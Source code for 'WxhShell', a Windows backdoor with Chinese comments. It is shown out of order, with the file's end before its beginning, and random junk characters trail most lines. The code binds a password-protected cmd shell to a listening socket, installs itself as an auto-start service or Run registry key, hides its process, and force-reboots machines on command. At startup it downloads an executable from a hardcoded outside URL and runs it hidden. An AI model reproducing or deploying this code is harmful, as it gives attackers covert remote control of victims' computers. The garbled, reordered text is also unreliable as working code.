    if(Boot(SHUTDOWN)) E`68Z/%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ce 3{KGBw  
    else { jG8W|\8  
    closesocket(wsh); ( )K,~  
    ExitThread(0); 1#LXy%^tO  
    } ._2#89V  
    break; 1&%6sZN  
    } K,f*}1$qM  
  // 获取shell M*ZR+pq,  
  case 's': { )`;Q]?D   
    CmdShell(wsh); c^$_epc*  
    closesocket(wsh); LLE\;,bv  
    ExitThread(0); dO/iL7K&  
    break; rH@ {[~p  
  } R+vago:  
  // 退出 ~,j52obR6Z  
  case 'x': { hgt@Mb   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /SDN7M]m!  
    CloseIt(wsh); -Zs.4@GH  
    break; Q+L;k R  
    } "9W] TG  
  // 离开 PvW {g5)S  
  case 'q': { \*] l'>x1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (bpO>4(S  
    closesocket(wsh); CG@3z@*?.  
    WSACleanup(); BPgY_f  
    exit(1); 45g:q  
    break; LIzdP,^pc  
        } (I(?oCQ  
  } 6&jW.G8/  
  } y.h2hv]Bc  
7.V'T=@x3)  
  // 提示信息 o< )"\f/,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x"/DCcZ  
} k:1p:&*m  
  } aMa ICM  
@E Srj[  
  return; aU&p7y4C@  
} 3$<u3Zi6  
k@[\ C`P  
// shell模块句柄 &Pk #v  
int CmdShell(SOCKET sock) uY6]rt_#a  
{ X/< zxM  
STARTUPINFO si; b)+nNqY|  
ZeroMemory(&si,sizeof(si)); pxf(C<y6_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bi}uL)~rD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M8_f{|!&  
PROCESS_INFORMATION ProcessInfo; HW|5'opF  
char cmdline[]="cmd"; Vr/UY79  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &6 ymGo  
  return 0; n1yIQ8F  
} Dn x` !  
W4MU^``   
// 自身启动模式 `<Ry_}V  
int StartFromService(void) EJAk'L+nuH  
{ S F:>dneB  
typedef struct il8n K  
{ ,|5|aVfh  
  DWORD ExitStatus; >* Ag0.Az  
  DWORD PebBaseAddress; !U 6q;' )-  
  DWORD AffinityMask; %5g(|Y]  
  DWORD BasePriority; S10"yhn(-t  
  ULONG UniqueProcessId; :%&|5Ytb  
  ULONG InheritedFromUniqueProcessId; V47z;oMXct  
}   PROCESS_BASIC_INFORMATION; TH[xSg  
AW{"9f4  
PROCNTQSIP NtQueryInformationProcess; .wH`9aq;5@  
<'y}y}%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rdQKzJiX=U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xh6Yv%\@  
0^lCZ,uq;  
  HANDLE             hProcess; 38<Z=#S  
  PROCESS_BASIC_INFORMATION pbi; DxM$4  
CjRU3 (Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N.~zQVO#R  
  if(NULL == hInst ) return 0; -hd@<+;E  
#BLx +mLq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pL [JGn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \&!qw[;O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k-V3l  
&\Ze<u  
  if (!NtQueryInformationProcess) return 0; ]Rk4"i  
` x|=vu-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;?h+8Z/{  
  if(!hProcess) return 0; 19h@fA[:  
#gq!L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?hC,49  
{>v5~G  
  CloseHandle(hProcess); gT-"=AsxZQ  
\iP=V3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NIo!WOi  
if(hProcess==NULL) return 0; Uf}u`"$F  
}xa~U,#5  
HMODULE hMod; L'?7~Cdls  
char procName[255]; n0a|GZyO]  
unsigned long cbNeeded; !"d"3coQ?  
SH1S_EQ<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FF5|qCV/z  
[_BQ%7D U  
  CloseHandle(hProcess); 5eLm  
SSQB1c  
if(strstr(procName,"services")) return 1; // 以服务启动 V|3^H^\5P  
,=IGqw  
  return 0; // 注册表启动 7g7[a/Bts  
} GQH15_  
M*gbA5  
// 主模块 ln1!%B;  
int StartWxhshell(LPSTR lpCmdLine) v\Y8+dD  
{ zJ*(G_H  
  SOCKET wsl; 73p7]Uo  
BOOL val=TRUE; ''Y'ZsQ;  
  int port=0; f1$'av  
  struct sockaddr_in door; 8a8CY,n{  
cM_!_8o  
  if(wscfg.ws_autoins) Install(); x DiGN Jc  
14pyHMOR  
port=atoi(lpCmdLine); vojXo|c  
e"(SlR  
if(port<=0) port=wscfg.ws_port; c5em*qCw$  
y*#YIS56I  
  WSADATA data; 71+ bn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |!q,J  
elGwS\sw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -=W Qed}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >bFrJz}  
  door.sin_family = AF_INET; kXroFLrY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L$z(&%Nx  
  door.sin_port = htons(port); A\w"!tNM|  
h!mx/Hx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ucYweXsO3  
closesocket(wsl); 5 W!#,jz  
return 1; & [z<p  
} WYN0,rv1:+  
iLt2L;v>h  
  if(listen(wsl,2) == INVALID_SOCKET) { *djVOC  
closesocket(wsl); o~{rZ~  
return 1; m:D0O]2  
} AM0CIRX$  
  Wxhshell(wsl); ~s{ V!)0  
  WSACleanup(); w9w=2 *  
Sq SiuO.D  
return 0; ` 7P%muY.  
 X`20=x  
} >{)\GK0i 7  
nX_w F`n"  
// 以NT服务方式启动 8ZF!}kb0F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }nRTw2-z  
{ }X/>WiGh:  
DWORD   status = 0; Ye|(5f  
  DWORD   specificError = 0xfffffff; b]4\$rW7  
\iRmGvT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G1a56TIN~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <{T5}"e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pkf$%{"e  
  serviceStatus.dwWin32ExitCode     = 0; 2~l+2..  
  serviceStatus.dwServiceSpecificExitCode = 0; xOx=Z\ c  
  serviceStatus.dwCheckPoint       = 0; /Un\P   
  serviceStatus.dwWaitHint       = 0; t3b M4+n  
t52KF#+>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -EJj j {  
  if (hServiceStatusHandle==0) return; y(wb?86#W5  
;efF]")  
status = GetLastError(); xpJ=yxO  
  if (status!=NO_ERROR) m al?3*x/  
{ H]}mg='kI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZPG~@lU  
    serviceStatus.dwCheckPoint       = 0; JM7FVB  
    serviceStatus.dwWaitHint       = 0; QM'|k6  
    serviceStatus.dwWin32ExitCode     = status; \fsNI T/  
    serviceStatus.dwServiceSpecificExitCode = specificError; rvacCwI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yAFt|<  
    return; ;\(LovUy6  
  } CofTTYl  
3a[LM!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dZY|6  
  serviceStatus.dwCheckPoint       = 0; rJ{k1H>  
  serviceStatus.dwWaitHint       = 0; Kk,u{EA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R=3|(R+kA  
} +K s3  
"rrw~  
// 处理NT服务事件,比如:启动、停止 vm7ag 7@O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q|}O-A*wa  
{ <TTBIXV  
switch(fdwControl) A34O(fE  
{ -,Js2+QZ#  
case SERVICE_CONTROL_STOP: q"5\bh1"  
  serviceStatus.dwWin32ExitCode = 0; }5;/!P_A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z2 Vri  
  serviceStatus.dwCheckPoint   = 0; "(iDUl  
  serviceStatus.dwWaitHint     = 0; p"6ydXn%  
  { ::_bEmk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5IA3\G}+  
  } DL#y_;#3_  
  return; 1*e7NJ/.,  
case SERVICE_CONTROL_PAUSE: }; R2M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WL|<xNL  
  break; _f~$iY  
case SERVICE_CONTROL_CONTINUE: e=s({V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; },{sJ0To  
  break; k[}WYs+r  
case SERVICE_CONTROL_INTERROGATE: iL!4r]~H  
  break; vQGv4  
}; LM(r3sonb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wv`ar>qVL  
} b%KcS&-6  
oWx^_wQ-=  
// 标准应用程序主函数 Av0(zA2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rt7l`|g a+  
{ (Y*9 [hm  
Z&4L///  
// 获取操作系统版本 w5yX~8UzJ  
OsIsNt=GetOsVer(); 0|]d^bo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ">M&/}4  
3ZN\F  
  // 从命令行安装 ]9~Il#  
  if(strpbrk(lpCmdLine,"iI")) Install(); P+y XC^ ,  
g{ ;OgS3>  
  // 下载执行文件 ,:#h;4!VRF  
if(wscfg.ws_downexe) { a*t @k*d_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r7#.DJnN.  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nobu= Z  
} z7z9lDS  
Y78DYbU.  
if(!OsIsNt) { j;qV+Rq]t  
// 如果时win9x,隐藏进程并且设置为注册表启动 u9(42jj[$U  
HideProc(); $=X>5B  
StartWxhshell(lpCmdLine); 0>46ZzxUZ  
} `\P1Ff@z0  
else bPif"dhHe  
  if(StartFromService()) ?D,j!Hy  
  // 以服务方式启动 aI=Q_}8-  
  StartServiceCtrlDispatcher(DispatchTable); L& rtN@5;  
else DAg*  
  // 普通方式启动 orYZ<,u  
  StartWxhshell(lpCmdLine); U<r!G;^`  
S&.xgBR  
return 0; mfF `K2R  
} XH(-anU"!P  
Y DW^N] G  
%iME[| u&  
:yE0DS<_  
=========================================== <$pv;]n  
cL!A,+S[_  
u\M xQIo'u  
'@ p464  
ho)JY $#6  
}I MV@z B  
" ;y{(#X#  
?S9vYaA$  
#include <stdio.h> k ]T  
#include <string.h> .XkD2~;  
#include <windows.h> %pH|2VB#  
#include <winsock2.h> = y(*?TZH  
#include <winsvc.h> H+5+;`;  
#include <urlmon.h> Q1{9>NI  
FA\U4l-  
#pragma comment (lib, "Ws2_32.lib") ,`OQAJ)>  
#pragma comment (lib, "urlmon.lib") 4;>HBCM4-  
oX*;iS X  
#define MAX_USER   100 // 最大客户端连接数 uJlW$Oc:.  
#define BUF_SOCK   200 // sock buffer yyk@f%  
#define KEY_BUFF   255 // 输入 buffer T@`Al('  
>)u{%@Rcy{  
#define REBOOT     0   // 重启 8^D1u`  
#define SHUTDOWN   1   // 关机 717G CL@  
_yX.Apv]  
#define DEF_PORT   5000 // 监听端口 fP6.  
OSLZ7B^  
#define REG_LEN     16   // 注册表键长度 ^fyue~9u  
#define SVC_LEN     80   // NT服务名长度 ,KD?kSIf  
z;?j+ZsdH  
// 从dll定义API Fa\jVFIQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Z4%u8Krvz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vy|4k2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Rry] 6(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : bi(mX7t  
WRA(k  
// wxhshell配置信息 /u_9uJ"-K(  
struct WSCFG { l]#=I7 6  
  int ws_port;         // 监听端口 l!KPgRw  
  char ws_passstr[REG_LEN]; // 口令 kj.9\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?FUK_]  
  char ws_regname[REG_LEN]; // 注册表键名 +]z Rn  
  char ws_svcname[REG_LEN]; // 服务名 #D%6b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qca3{|r`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 BjsTHS&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fL d2{jI,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &cJ?mSI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7&OJ8B/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {IvA 5^  
NQ;$V:s)  
}; )''V}Zn.X  
EaHJl  
// default Wxhshell configuration KZ%us6  
struct WSCFG wscfg={DEF_PORT, ( ;^>G[  
    "xuhuanlingzhe", GQJ4d-w  
    1, hQ!59  
    "Wxhshell", jN'h/\  
    "Wxhshell", L, #|W  
            "WxhShell Service", '*&dP"  
    "Wrsky Windows CmdShell Service", ^c >Bh[  
    "Please Input Your Password: ", ;"ESN)*|i  
  1, ]NI CQ9  
  "http://www.wrsky.com/wxhshell.exe", <5 OUk  
  "Wxhshell.exe" :vx<m_  
    }; T9!NuKfur  
-meY[!"X  
// 消息定义模块 lKQevoy'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c#`IF6qj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L;y BZLM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7jQVm{{.  
char *msg_ws_ext="\n\rExit."; sWMln:=  
char *msg_ws_end="\n\rQuit."; PB.'huu  
char *msg_ws_boot="\n\rReboot..."; fH?A.JP=a  
char *msg_ws_poff="\n\rShutdown..."; C2\WvE%!  
char *msg_ws_down="\n\rSave to "; 2/tx5Nc  
osd oL  
char *msg_ws_err="\n\rErr!"; CY{!BV'  
char *msg_ws_ok="\n\rOK!"; 8O(L;&h  
tLN^k;w  
char ExeFile[MAX_PATH]; 3 =c#LUA`  
int nUser = 0; z$}9f*W}B  
HANDLE handles[MAX_USER]; zK1]o-wSAT  
int OsIsNt; I1l^0@J   
H?M:<q0|G  
SERVICE_STATUS       serviceStatus; tPN CdA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &WL::gy_S  
GoAh{=s  
// 函数声明 (xWsyo(4  
int Install(void); rIYO(}Fl  
int Uninstall(void); HS ]c~  
int DownloadFile(char *sURL, SOCKET wsh); SdYb T)y  
int Boot(int flag); bu<d>XR  
void HideProc(void); oWLP|c~ Ap  
int GetOsVer(void); #gT"G18/!  
int Wxhshell(SOCKET wsl); NWPT89@l  
void TalkWithClient(void *cs); /{jt]8/;7  
int CmdShell(SOCKET sock); QT73=>^B  
int StartFromService(void); =Ry8E2NuM  
int StartWxhshell(LPSTR lpCmdLine); +kEM%z  
Yb_HvP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D)DD6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S@S4<R1{\  
/\uopa  
// 数据结构和表定义 'UxI-L t  
SERVICE_TABLE_ENTRY DispatchTable[] = /Z!$bD  
{ 5/i/. 0?n  
{wscfg.ws_svcname, NTServiceMain}, 0bc>yZ\R  
{NULL, NULL} ~Dz:n]Vk/  
}; }o7-3!{L!  
O"EL3$9V  
// 自我安装 gPc1oc(  
int Install(void) :4Nv6X61  
{ L(u@%.S  
  char svExeFile[MAX_PATH]; IGVq`Mxj  
  HKEY key; 1cMLl6Bp>  
  strcpy(svExeFile,ExeFile); g-_=$#&{  
oYA"8ei=  
// 如果是win9x系统,修改注册表设为自启动 g\8B;  
if(!OsIsNt) { 5}Ge  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tc)Md]S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8!3q:8y8  
  RegCloseKey(key); OHj>ufwVq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZI qXkD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +r//8&  
  RegCloseKey(key); <Opw"yY&q]  
  return 0; (|o @  
    } \lQI;b;$  
  } do.>Y}d  
} ::iYydpM  
else { 4F0w+w JD  
7UG c2J  
// 如果是NT以上系统,安装为系统服务 77sG;8HE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vO&X<5?Qc  
if (schSCManager!=0) kONn7Itbu  
{ 7][fciZN  
  SC_HANDLE schService = CreateService tjB)-=j[  
  ( );i J9+ V}  
  schSCManager, ;-Os~81o?  
  wscfg.ws_svcname, ]3,  
  wscfg.ws_svcdisp, DO-M0L  
  SERVICE_ALL_ACCESS, ?E V^H-rr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lb<IEy77\  
  SERVICE_AUTO_START, x|Pz24yP9  
  SERVICE_ERROR_NORMAL, IemhHf ^l  
  svExeFile,  4q7H  
  NULL, 4|I;z  
  NULL, Ja4M@z  
  NULL, &v1E)/q{Z  
  NULL, }qoId3iY!7  
  NULL r(Z?Fs/  
  ); Gf9sexn]l  
  if (schService!=0) &Ejhw3Nw  
  { bpU> (j  
  CloseServiceHandle(schService); mLkp*?sfC  
  CloseServiceHandle(schSCManager); 'jE/Tre^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (jhi<eV  
  strcat(svExeFile,wscfg.ws_svcname); KWD{_h{R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yHC[8l8%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WbhYGcRy  
  RegCloseKey(key); xg^%8Ls^  
  return 0; SSla^,MHef  
    } ^[}W}j>  
  } .>[l@x"  
  CloseServiceHandle(schSCManager); cC/32SmY4  
} sq(5k+y*J  
} r r\u)D#)  
$M0l (htR  
return 1; y4|<+9<7  
} ^'tT_ gT  
>@cBDS<6R  
// 自我卸载 8%YyxoCH  
int Uninstall(void) GYb&'#F~t  
{ fK]%*i_"  
  HKEY key; CMbID1M3  
|.yS~XFJS  
if(!OsIsNt) { _[(EsIqc(F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G4'Ee5(o  
  RegDeleteValue(key,wscfg.ws_regname); lfCr `[!E  
  RegCloseKey(key); ;/wH/!b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z^T;d^OJc  
  RegDeleteValue(key,wscfg.ws_regname); 2vG X\W% 3  
  RegCloseKey(key); 8tv4_Lbx  
  return 0; C@]D*k  
  } X 5}=|%Y  
} uqI'e_&=&5  
} 6bjZW ~  
else { <& +jl($"  
-~xQ@+./  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #6YpV)  
if (schSCManager!=0) Hf1b&8&:K  
{ f_LXp$n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n/*" 2  
  if (schService!=0) qa@;S,lp  
  { 5Uy *^C7M^  
  if(DeleteService(schService)!=0) { UY({[?Se  
  CloseServiceHandle(schService); LY)Wwl*wc  
  CloseServiceHandle(schSCManager); S *J{  
  return 0; J@<f*  
  } %(6+{'j~#  
  CloseServiceHandle(schService); W)]&G}U<  
  } p$x>I3C(\  
  CloseServiceHandle(schSCManager); I8T*_u^_  
} Ah@e9`_r  
} VB4V[jraCF  
h`O$L_Z  
return 1; '-n Iy$>  
} F !OD*]  
|&-*&)iD|w  
// 从指定url下载文件 eY?OUS  
int DownloadFile(char *sURL, SOCKET wsh) ZBx,'ph}4  
{ F 2zUz[  
  HRESULT hr; X6$Cd]MN  
char seps[]= "/"; kCz2uG)l  
char *token; ;=^J_2ls  
char *file; 83_mR*tGNp  
char myURL[MAX_PATH]; \8\T TkVSq  
char myFILE[MAX_PATH]; NYg&8s.  
HGh)d` 8  
strcpy(myURL,sURL); nSQ]qH&4d  
  token=strtok(myURL,seps); Q"eqql<h#  
  while(token!=NULL) *sB'D+-/  
  { +lFBH(o]X  
    file=token; cp~6\F;c  
  token=strtok(NULL,seps); HA}q.L]#  
  } ?z-nY,'^uq  
W=+AU!%  
GetCurrentDirectory(MAX_PATH,myFILE); f>cUdEPBb  
strcat(myFILE, "\\"); |?^N@  
strcat(myFILE, file); *KiY+_8>  
  send(wsh,myFILE,strlen(myFILE),0); >j ].`T  
send(wsh,"...",3,0); s?1Aj<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hv>Xr=RE  
  if(hr==S_OK) %" mki>  
return 0; lWJYT <kt  
else x30|0EHYl[  
return 1; A0;{$/  
d!Y%7LmSE@  
} yV L >Ie/  
. 8ikcs  
// 系统电源模块 ^!k_"C)B  
int Boot(int flag) H=WB6~8)  
{ wouk~>Jft  
  HANDLE hToken; n!X%i+|4x  
  TOKEN_PRIVILEGES tkp; HpUJ_pZ  
B>d49(jy  
  if(OsIsNt) { yHs9J1S f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .}+3A~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TPkP5w  
    tkp.PrivilegeCount = 1; [5-Ik T0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )w&|VvM )L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^e =xEZD  
if(flag==REBOOT) { q%f90  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9h-S,q!  
  return 0; :nqDX  
} !{(crfXB  
else { QFhyidm=]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pd d(1K*  
  return 0; 3^q9ll7Op  
} l6xqc,h!K  
  } 7oUo[  
  else { Rw[!Jq  
if(flag==REBOOT) { eW3?3l`fvt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #_3-(H5u  
  return 0; F2<Q~gQ;  
} 3|G~_'`RLt  
else { 9<P%?Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J?Q@f  
  return 0; e(1{W P  
} wkPomTO  
} }lJ|nl`c  
eDNY|}$}v  
return 1; HJ"sK5Q  
} D(TfW   
<bhJ>  
// win9x进程隐藏模块 >nK (  
void HideProc(void) RASk=B  
{ TBF{@{.d  
,1<6=vL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OzRo  
  if ( hKernel != NULL ) w+!V,lU"^  
  { :l Z\=2D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8/,s 8u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e9S*^2;  
    FreeLibrary(hKernel); \fUVWXv  
  } B"*PBJuOA  
ga;t`5+d  
return; k!+v*+R+V  
} 7pep\  
}PDtx:T-  
// 获取操作系统版本 AtAu$"ue  
int GetOsVer(void) $}YN`:{  
{ ]:?hU^H]<  
  OSVERSIONINFO winfo; ?=kH}'igq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -,mV~y  
  GetVersionEx(&winfo); [,~;n@jz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J]48th0,  
  return 1; O0pXHXSAL  
  else NJoHrhC='  
  return 0; QOJ5  
} | ObA=[j  
NW21{}=4  
// 客户端句柄模块 )B~{G\jS  
int Wxhshell(SOCKET wsl) f|s,%AU"i  
{ 7(LB}  
  SOCKET wsh; pMUUF5  
  struct sockaddr_in client; y=SpIbn{  
  DWORD myID; Y~lOkH[z  
UK@hnQU8`  
  while(nUser<MAX_USER) EW]8k@&g  
{ "Nq5FcS9  
  int nSize=sizeof(client); ?$/W3Xn0%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w0<1=;_%  
  if(wsh==INVALID_SOCKET) return 1; =fhRyU:C[z  
D42!#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |*]<*qnZt  
if(handles[nUser]==0) p8&rl|z|  
  closesocket(wsh); 1x+w|h  
else Zjc 0R   
  nUser++; !|"LAr9u  
  } "Q tkNy%E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `<R^ZL,  
-Zg@#H  
  return 0; }72+i  
} r6 pz(rCs}  
{qSYe!`  
// 关闭 socket  {qH+S/  
void CloseIt(SOCKET wsh) k)9 pkPl  
{ T^Xum2Ec  
closesocket(wsh); 2)q$HUIX  
nUser--; +]C|y ,r  
ExitThread(0); U\YzE.G1]S  
} \9:IL9~F  
s=#[>^?  
// 客户端请求句柄 T(+*y  
void TalkWithClient(void *cs) ?V)M!  
{ dda*gq/p  
yfA h=  
  SOCKET wsh=(SOCKET)cs; h61BIc@>  
  char pwd[SVC_LEN]; 3J^'x  
  char cmd[KEY_BUFF]; jrYA5>=>#  
char chr[1]; 0IbR>zFg.  
int i,j; oi^pU  
U,~Z2L  
  while (nUser < MAX_USER) { sbFA{l3   
Reg%ah|$/=  
if(wscfg.ws_passstr) { R&L^+?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,L(q/#p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {w9GMqq  
  //ZeroMemory(pwd,KEY_BUFF); 3 k)P*ME#  
      i=0; KKwJ=za  
  while(i<SVC_LEN) { ~\7peH%  
zids2/_*  
  // 设置超时 <r8s= <:  
  fd_set FdRead; U+ief?;4F  
  struct timeval TimeOut; 2wYY0=k2  
  FD_ZERO(&FdRead); hOcVxSc.  
  FD_SET(wsh,&FdRead); glNXamo  
  TimeOut.tv_sec=8; { %af  
  TimeOut.tv_usec=0; - I j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mS-{AK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1jj.oa]  
+"[}gss!@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gG,gL 9o  
  pwd=chr[0]; hKQg:30<  
  if(chr[0]==0xd || chr[0]==0xa) { *Cx3bg*Gan  
  pwd=0; tWI4x3 &2  
  break; 9,A HC2kn%  
  } |-vn,zpe  
  i++; f9b[0L  
    } X&|y|  
/A%31WE&1  
  // 如果是非法用户,关闭 socket C;eM:v0A[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); roWg~U(S  
} o~p%ODH  
Y:K1v:Knw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f}zv@6#&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Je9]XT  
Cn8w}) B  
while(1) { (>gHfC>(lq  
7E)*]7B%  
  ZeroMemory(cmd,KEY_BUFF); { daEKac5  
<0^L L  
      // 自动支持客户端 telnet标准   ':?MFkYC  
  j=0; =:7OS>x  
  while(j<KEY_BUFF) { &^b mZj!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); An3%@;  
  cmd[j]=chr[0]; c UHKE\F  
  if(chr[0]==0xa || chr[0]==0xd) { B pl(s+  
  cmd[j]=0; (n~GKcA  
  break; J~1 =?</  
  } aEC&#Q(]q  
  j++; L[p[m~HjG^  
    } Eza B}BLQ9  
DTSK*a`  
  // 下载文件 /-&a]PJ  
  if(strstr(cmd,"http://")) { 1 c4I`#_v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~z*A%vp6ER  
  if(DownloadFile(cmd,wsh)) TmO3hKaP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t(.xEl;Ma  
  else $_&gT.>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VA@t8H,  
  } %:7fAB,PA  
  else { 'hH3d"a^=  
9..! g:  
    switch(cmd[0]) { *Z=:?4u  
  4?cIn4}  
